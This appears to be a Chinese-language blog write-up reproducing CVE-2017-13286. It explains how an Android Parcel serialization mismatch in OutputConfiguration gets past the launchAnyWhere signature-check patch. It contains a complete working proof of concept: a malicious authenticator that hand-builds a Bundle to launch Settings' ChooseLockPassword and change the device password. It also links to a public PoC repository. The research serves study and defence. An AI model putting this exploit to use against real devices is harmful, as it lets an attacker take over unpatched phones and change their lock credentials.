CVE-2017-13286 复现

参考相关博客,对CVE-2017-13286进行复现。
第一次复现CVE,很多知识现学现用,代码也是“借鉴”了不少。

CVE-2017-13286

参考文章:
[原创]CVE-2017-13286漏洞分析及利用-Android安全-看雪论坛-安全社区|安全招聘|bbs.pediy.com
launchAnyWhere: Activity组件权限绕过漏洞解析(Google Bug 7699048 ) - 360 核心安全技术博客
Bundle風水——Android序列化與反序列化不匹配漏洞詳解 - ITW01

CVE-2017-13286是一个由于Parcelabel对象的序列化和发序列化操作不一致而导致的漏洞,它可以绕过检查直接修改手机密码。
测试环境为Nexus5 + Android 8.0.0。

总的来说需要了解它包含的两个部分:

  1. Android-bug-7699048
    Android-bug-7699048是存在于Android 2.3至4.3中的调用任意私有Activity漏洞。
    它主要依赖于Android账户认证AccountManagerService的逻辑缺陷:具有账户认证能力的恶意应用可以向AccountManagerService返回精心构造的数据从而调起任意Activity。
    对该漏洞的修补措施为:检查即将调起的Activity的签名是否和发起账户认证的Activity相同。
  2. Android-bug-69683251
    Android-bug-69683251是存在于android/hardware/camera2/params/OutputConfiguration中的序列化与反序列化不一致的漏洞。
    负责序列化的writeToParcel()和负责反序列化的OutputConfiguration()的操作不一致,writeToParcel()写入的mIsShared位没有在OutputConfiguration()中被读出,从而导致了内存读写错位,使得有机会构造数据。
    利用该漏洞,我们可以绕过对Android-bug-69683251的签名验证修补措施。

Android-bug-7699048

基于AccountManagerService的账户认证流程如下:

  1. AppA请求添加一个特定类型的网络账号
  2. 系统查询到AppB可以提供一个该类型的网络账号服务,系统向AppB发起请求
  3. AppB返回了一个intent给系统,系统把intent转发给appA
  4. AccountManagerResponse在AppA的进程空间内调用 startActivity(intent)调起一个Activity。
    AccountManagerResponse是FrameWork中的代码, AppA对这一调用毫不知情。

这种设计的本意是,AccountManagerService帮助AppA查找到AppB账号登陆页面,并呼起这个登陆页面。
而问题在于,AppB可以任意指定这个intent所指向的组件,AppA将在不知情的情况下由AccountManagerResponse调用起了一个Activity。
如果AppA是一个system权限应用,比如Settings,那么AppA能够调用起任意AppB指定的未导出Activity.

image-20210829234217529

AppB的MyAuthenticator类,该类整体继承于AccountManagerResponse。
addAccount()方法中返回bundle,这里可以构造一个启动指定Activity的intent并返回

1
2
3
4
5
6
7
8
9
10
11
12
public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
String authTokenType, String[] requiredFeatures, Bundle options) {
Intent intent = new Intent();
intent.setComponent(new ComponentName(
"com.trick.trick ",
" com.trick. trick.AnyWhereActivity"));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
return bundle;
}

AccountManager.java 中处理AccountManagerService返回bundle的函数,运行在AppA的进程中。
这里从bundle中取出intent然后直接调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/** Handles the responses from the AccountManager */
private class Response extends IAccountManagerResponse.Stub {
@Override
public void onResult(Bundle bundle) {
Intent intent = bundle.getParcelable(KEY_INTENT);
if (intent != null && mActivity != null) {
// since the user provided an Activity we will silently start intents
// that we see
mActivity.startActivity(intent);
// leave the Future running to wait for the real response to this request
} else if (bundle.getBoolean("retry")) {
try {
doWork();
} catch (RemoteException e) {
throw e.rethrowFromSystemServer();
}
} else {
set(bundle);
}
}
......
}

上述Response.onResult(Bundle bundle)方法在AccountManagerService.Session$onResult(Bundle bundle)方法中被调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//AccountManagerService.Session$onResult(Bundle bundle),修复前
public void onResult(Bundle result) {
mNumResults++;
if (result != null && !TextUtils.isEmpty(result.getString(AccountManager.KEY_AUTHTOKEN))) {
String accountName = result.getString(AccountManager.KEY_ACCOUNT_NAME);
String accountType = result.getString(AccountManager.KEY_ACCOUNT_TYPE);
if (!TextUtils.isEmpty(accountName) && !TextUtils.isEmpty(accountType)) {
Account account = new Account(accountName, accountType);
cancelNotification(getSigninRequiredNotificationId(mAccounts, account),
new UserHandle(mAccounts.userId));
}
}
IAccountManagerResponse response;
if (mExpectActivityLaunch && result != null
&& result.containsKey(AccountManager.KEY_INTENT)) {//AccountManager.KEY_INTENT也就是个"intent"
response = mResponse;
} else {
response = getResponseAndClose();
}
if (response != null) {
try {
if (result == null) {
if (Log.isLoggable(TAG, Log.VERBOSE)) {
Log.v(TAG, getClass().getSimpleName()
+ " calling onError() on response " + response);
}
response.onError(AccountManager.ERROR_CODE_INVALID_RESPONSE,
"null bundle returned");
} else {
if (mStripAuthTokenFromResult) {
result.remove(AccountManager.KEY_AUTHTOKEN);
}
if (Log.isLoggable(TAG, Log.VERBOSE)) {
Log.v(TAG, getClass().getSimpleName()
+ " calling onResult() on response " + response);
}
response.onResult(result);//返回到发起APP去调起目标Activity
}
} catch (RemoteException e) {
// if the caller is dead then there is no one to care about remote exceptions
if (Log.isLoggable(TAG, Log.VERBOSE)) {
Log.v(TAG, "failure while notifying response", e);
}
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//修复后的AccountManagerService.java,添加了签名验证部分,只能调用AppA内部的Activity。
@Override
public void onResult(Bundle result) {
mNumResults++;
//**********添加的修复代码,加入签名验证************//
Intent intent = null;
if (result != null
&& (intent = result.getParcelable(AccountManager.KEY_INTENT)) != null) {//尝试从parcel中提取一个intent
/*
* The Authenticator API allows third party authenticators to
* supply arbitrary intents to other apps that they can run,
* this can be very bad when those apps are in the system like
* the System Settings.
*/
PackageManager pm = mContext.getPackageManager();
ResolveInfo resolveInfo = pm.resolveActivity(intent, 0);
int targetUid = resolveInfo.activityInfo.applicationInfo.uid;
int authenticatorUid = Binder.getCallingUid();
if (PackageManager.SIGNATURE_MATCH != //验证签名是否一致
pm.checkSignatures(authenticatorUid, targetUid)) {
throw new SecurityException(
"Activity to be started with KEY_INTENT must " +
"share Authenticator's signatures");
}
}
//**********添加的修复代码,加入签名验证************//
......
}
image-20210830001512798

Android-bug-69683251

该漏洞为android/hardware/camera2/params/OutputConfiguration中的序列化与反序列化存在不一致漏洞。
该漏洞本身属于camera2的一个参数处理缺陷,但是可以被利用起来绕过Android-bug-7699048的补丁,继续导致launchAnyWhere

先来看这个类的序列化和反序列化方法,可以看到writeToParcel()写入的mIsShared没有在OutputConfiguration()中被读出,这将导致读写内存错位。
内存读写错位可能会导致一个OutputConfiguration在传递前后发生变化。当然,如果变化只发生在OutputConfiguration内部,可能造成的威胁有限,需要借助这个错位,把错误扩散到其他地方。

image-20210830095627897

回顾Android-bug-7699048的补丁,system_server增加了对传输的intent的签名检查,而借助Android-bug-69683251,可以绕过签名检查。

首先,在MyAuthenticator.addAccount()中构造如下bundle数据并返回。

image-20210830210007681

  1. 即将返回的bundle数据包含三个部分:一个OutputConfiguration对象的数据,一个bytesArray和用于填充的Padding字符串。
    OutputConfiguration部分:len1表示key1的长度,type1表示该部分是一个Parcel(VAL_PARCEL=4),value1为具体内容,”outputconfig”(实为”android.hardware.camera2.params.OutputConfiguration”)指明了对象的类型,后续六个32bit数是其内部属性。
    BytesArray部分:len2=1指示key2长度为1,type2表明该部分是一个ByteArray(VAL_BYTEARRAY = 13),value2是具体的byteArray值。
    但是,value2的具体内容需要特别构造。首先需要包含一个调用com.android.settings.ChooseLockPassword的Intent,然后在前面插入这段数据的长度。在第一次反序列化操作中,value2将被视作一段byteArray,第二次反序列化操作中将被视作一个完整的Intent。
    Padding就是一段用于填充末尾的字符串键值对。
    上述操作为手动构造排布,可以认为是第一次序列化。

  2. 第一次反序列化,在AccountManagerService.Session$onResult(Bundle bundle)中执行。
    补丁中,尝试用intent=result.getParcelable(AccountManager.KEY_INTENT)bundle result中提取一个intent,然后检查该intent的签名是否合法。
    但是,手动构造返回的bundle result并没有包含intent键值对,因为当前会解析发现intent的具体数据内含在byteArray中,这里绕过了补丁的签名验证。
    具体来说,反序列化操作可以顺利得到OutputConfiguration对象,但是由于它不读出mIsShared,反而把构造的mIsShared=0读入为ArrayList=0(ArrayList的读出代码如下图所示),这指明OutputConfiguration对象数据的结束。开始读取下一个键值对,即ByteArray,intent的数据被当作byteArray的一部分被读取。

    image-20210830220128784

  3. 第二次序列化,发生在response.onResult(result);语句,把bundle result返回给AppA中的IAccountManagerResponse.onResult(bundle bundle),result需要进行序列化,由系统完成。
    具体来说,因为OutputConfiguration的读入写出操作不一致,它将向bundle中多写入一个int mIsShared = 0,后续的数据保持不变。

  4. 第二次反序列化,发生在IAccountManagerResponse.onResult(bundle bundle),该方法将从bundle中取出一个intent并调用。这个时候,在格式上原本被包含在byteArray中的intent数据会因为OutputConfiguration的读入操作而显现为一个独立合法的键值对。
    具体来说,由于OutputConfiguration不读出mIsShared,所以在第二次序列化中多写入的mIsShared=0会被错位赋给listLen,同样指明当前OutputConfiguration对象的结束。而原本的listLen=0被认为是后续数据的组成部分,第二个键值对也因此被解析为len2=0 key2=1 type2=6,表明这是一个long数字,键值长8个字节,由原本的type2=13value2[0:4],也即intent的长度数字构成,完成对long的解析。因此,接下来的数据便是byteArray,也即intent的具体内容,恶意intent将被正常解析,由此显现为第三个键值对。

    image-20210830210007681

具体构造代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
@Override
public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options) throws NetworkErrorException {

Bundle retBundle = new Bundle();
Parcel bundleData = Parcel.obtain();
Parcel craftData = Parcel.obtain();
//craftData是传递的Bundle载荷,这里先手动构造载荷内容,然后补上Bundle格式头
craftData.writeInt(3); // 总共传递3个对象,即三个键值对

// 第一个Key为OutputConfiguration,它将用来引起内存错位从而绕过检查
craftData.writeString("object1");//这个object的名字,似乎长度有些要求
craftData.writeInt(4); // VAL_PARCELABLE = 4
craftData.writeString("android.hardware.camera2.params.OutputConfiguration"); // value类型为OutputConfiguration,将被按照outputConfiguration的格式/方法解析
craftData.writeInt(1);//Rotation 这里开始是outputConfiguration的属性
craftData.writeInt(1);//SurfaceSetId
craftData.writeInt(1);//SurfaceType
craftData.writeInt(1);//width
craftData.writeInt(1);//Height
craftData.writeInt(1);//IsDeferred
//在system_server处的序列化中,会直接写出为IsShared=0
craftData.writeInt(0);//在第一次反序列化中被赋给listLen,指明停止第一个outputConfiguration部分的读入,
craftData.writeInt(1);//在第一次反序列化中表示第二个键名的长度,第二次反序列化因为错位被解析为第二个键名
craftData.writeInt(6);//在第一次反序列化中表示第二个键名,第二次反序列化因为错位被解析为第二个键的类型
craftData.writeInt(13);//在第一次反序列化中表示第二个键的类型,表示ByteArray,第二次反序列化因为错位被解析为第二个键的键值

// 接下来构造ByteArray,内含一个Intent的完整数据。
craftData.writeInt(-1); // 这个位置用于存放intent部分的长度,先占位,构造完之后计算长度再来写入
int keyIntentStartPos = craftData.dataPosition(); // 记录intent部分在craftData中起始位置,因为接下来要构造intent了
craftData.writeString(AccountManager.KEY_INTENT);// 第二个object是个intent
craftData.writeInt(4); //intent也是一个parcel
craftData.writeString("android.content.Intent");// value类型为intent,将被按照intent格式解析
craftData.writeString(Intent.ACTION_RUN); // Intent Action 这里开始是intent的属性
Uri.writeToParcel(craftData, null); // Uri
craftData.writeString(null); // Type
craftData.writeInt(0x10000000); // Flags
craftData.writeString(null); // Package
craftData.writeString("com.android.settings"); // setComponet(pkg="com.android.settings",
craftData.writeString("com.android.settings.ChooseLockPassword");//cls="com.ChooseLockPassword"
craftData.writeInt(0); //SourceBounds
craftData.writeInt(0); //Categories
craftData.writeInt(0); //Selector
craftData.writeInt(0); //ClipData
craftData.writeInt(-2); //ContentUserHint
craftData.writeBundle(null);//结束

int keyIntentEndPos = craftData.dataPosition(); // 记录当前的读写指针位置,也即intent部分的结束位置
int lengthOfKeyIntent = keyIntentEndPos - keyIntentStartPos; // 计算intent数据的长度
craftData.setDataPosition(keyIntentStartPos - 4); // 把读写指针位移动到intent部分起始位-4,即-1所在的位置
craftData.writeInt(lengthOfKeyIntent);// 在intent部分前写入key_intent这段数据的长度
craftData.setDataPosition(keyIntentEndPos);// 将读写指针移动到最后

// 这里构造一个用于填充的键值对
craftData.writeString("PaddingK");
craftData.writeInt(0); // VAL_STRING
craftData.writeString("PaddingV");

int length = craftData.dataSize();
bundleData.writeInt(length); //所有数据的长度
bundleData.writeInt(0x4c444E42); //Bundle魔数
bundleData.appendFrom(craftData, 0, length); //把构造的载荷加载后面
bundleData.setDataPosition(0);//移动Parcel的读写指针位置到开头用于读进retBundle
retBundle.readFromParcel(bundleData);
return retBundle;
}

完整代码:slient2009/CVE-PoCs (github.com)

这个bug的修复非常简单,添加mIsShared的读入就好。

image-20210830233234494

Welcome to my other publishing channels